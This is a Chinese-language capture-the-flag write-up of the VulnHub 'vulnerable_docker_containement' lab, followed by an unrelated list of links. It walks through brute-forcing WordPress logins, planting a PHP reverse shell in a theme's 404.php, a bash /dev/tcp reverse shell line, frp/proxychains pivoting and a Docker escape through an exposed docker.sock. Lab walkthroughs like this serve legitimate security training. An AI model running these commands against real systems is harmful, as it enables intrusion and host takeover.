当前位置: 首页 > news >正文

vulnerable_docker_containement 靶机 - 实践

vulnerable_docker_containement靶机

PDF:Target-practice/A_靶机复现 at main · szjr123/Target-practice

靶机描述没什么用,大意就是介绍这是个靶机。

靶机下载链接:

https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova

有困难和简单两个模式

信息搜集

会直接给出IP:10.10.10.150

端口扫描:

nmap -p- --min-rate 1000  10.10.10.150

给出22和8000端口:

nmap -p22,8000 -Sc -A -Pn --min-rate 1000 10.10.10.150

经典wordpress

访问看看

GetShell

docker环境

/robots.txt

wordpress版本都不是很高

/wp-admin/admin-ajax.php有个CVE-2022-21661

试了一下发现不能用

端口扫描的时候出来了bob,后台挂一下爆破

python2 wpforce.py -i ../dict/user.txt -w ../dict/pass.txt -u "http://10.10.10.150:8000/wp-login.php"

登录进入后台

找到flag1

低版本直接上传shell就行

1、插件上传打包好的shell.zip

2、主题上传shell.php

3、修改主题404.php代码,访问特定的不存在 url(这个一般最简单)

4、修改header.php,执行恶意代码

kali自带:/usr/share/webshells/php/php-reverse-shell.php

cp /usr/share/webshells/php/php-reverse-shell.php ./
ls
vim php-reverse-shell.php

修改脚本

访问一个不知道的页面

反弹成功

没有python,不能用pty形成交互页面

可以升级nc、socat、script

攻击机:

# 首先下载(不要直接下/bin的,过去依赖没有)

​
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
python -m http.server 9999
​

# 执行

socat file:`tty`,raw,echo=0 tcp-listen:4444

靶机:

​
curl -O http://10.10.10.148:4444/socat
chmod +x socat
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.148:4444
​

docker逃逸

验证一下docker环境:

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

传个linpeas.sh上去

curl http://10.10.10.148:9999/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Linux version 3.13.0-128-generic (buildd@lgw01-39) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017

ip add

Ping命令查看存活主机

for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

端口探测

脚本:

------
#!/bin/bash
hosts=(
"172.18.0.1"
"172.18.0.2"
"172.18.0.3"
"172.18.0.4"
)
END=65535
for host in "${hosts[@]}"
do
echo "==============================="
echo "Scanning $host"
echo "==============================="
for ((port=1;port<=END;port++))
do
echo "" > /dev/tcp/$host/$port && echo "Port $port is open"
done 2>/dev/null
done
------

下载脚本

curl http://10.10.10.148:9999/port.sh -o port.sh
chmod +x port.sh
./port.sh

代理访问,参考(使用frp配置内网访问(穿透)教程(超详细,简单)-CSDN博客):

​
curl -O http://10.10.10.148:9999/frpc
curl -O http://10.10.10.148:9999/frpc.ini
​

frpc.ini

frps.ini

chmod +x frpc

攻击机:

./frps -c frps.ini

靶机:

看见success

修改文件

sudo gedit /etc/proxychains4.conf

proxychains nmap -sT -sV -Pn -n -p8022 172.18.0.2

再次反弹shell

bash -i >& /dev/tcp/10.10.10.148/9988 0>&1

/run目录下存在docker.sock文件,remote API未授权访问

参考:Docker Remote api在安全中的应用杂谈 - SecPulse.COM | 安全脉搏

换源,没有vim,echo写入

cat > /etc/apt/sources.list << 'EOF'
deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
EOF

安装docker

apt-get update
apt-get install docker.io

挂载宿主机的根目录到容器内

docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash

读取宿主机文件

cd /tmp/1/
cat flag_3

http://www.rkmt.cn/news/56191.html

相关文章:

  • 2025 年 11 月定制地板厂家推荐排行榜,实木定制地板,强化定制地板,复合定制地板,别墅专用定制地板公司精选
  • MaxKB实现DataBase数据查询分析与AI问答功能
  • 这辈子有了
  • 详细介绍:设计模式-状态模式(State)
  • 洛谷 B4412:[GESP202509 二级] 菱形 ← 模拟算法
  • 突破亚微米光电子器件制造瓶颈!配体交换辅助打印技术搭建全打印红外探测器
  • MyEMS 的 “数字神经中枢”:解析其云 - 边 - 端协同架构如何实现毫秒级能效优化
  • c语言中的strcmp函数的模拟实现
  • 开源共享,能效升级:MyEMS 能源管理系统,让节能方案更灵活、更高效
  • 2025年长沙心理咨询师专业能力评级榜单,孩子厌学/焦虑/夫妻关系/青少年厌学/线上/婚姻情感/孩子网瘾/情绪失控/抑郁心理咨询机构排行榜
  • 2025义乌拉链头厂家哪家正规?合规厂商盘点
  • 2025年制药冻干机推荐!制药冷冻干燥机公司优选
  • 2025中山留学中介推荐-优质留学中介深度盘点
  • IDE 配置
  • 2025污水处理药剂厂家哪家好?深度测评
  • 2025年智能刀具柜源头厂家权威推荐榜单:智能刀具管理柜/智能弹簧柜/弹簧刀具柜供应商精选
  • 完整教程:基于springboot的车辆管理系统设计与实现
  • 2025年11月发明专利申请公司市场报告及用户评价整合推荐
  • ftp权限 linux
  • 2025植物灯防水连接器厂家,LED防水连接器质量好厂家看这
  • 盘点2025EVA磨粉机厂家,选机不再纠结
  • iOS 压力测试的工程化体系,构建高强度、多维度、跨工具协同的真实负载测试流程
  • 易基因|Nat Rev Genet/IF52:RNA甲基化最全综述!RNA修饰的生理和病理功能及其潜在临床应用
  • 2025年广东成人继续教育与研究生报名机构推荐:新未来教育,全流程赋能升学梦想
  • AET3152AP禾纳P沟道场效应管芯片,pin to pin替代TDM3307不更改电路
  • 2025年11月口粮白酒品牌推荐榜单:十款高性价比选择对比分析
  • 2025年EGUOO心脑血管营养包:多维度解析其配方机制与适用人群
  • 2025 最新支架厂家推荐排行榜:工程采购优质品牌权威指南管廊电力/角钢电缆/热镀锌角钢电缆沟/热浸锌电缆/可调节角度隧道电缆沟/定制电缆沟/热镀锌电缆沟支架公司推荐
  • 2025 最新聚氨酯喷涂保温厂家权威推荐榜,环保国标优质产品 适配别墅自建房冷库外墙工程施工优选冷库聚氨酯喷涂保温/环保聚氨酯喷涂保温工程/施工/工程公司推荐
  • 基于matlabcd7.x的无网格近似方法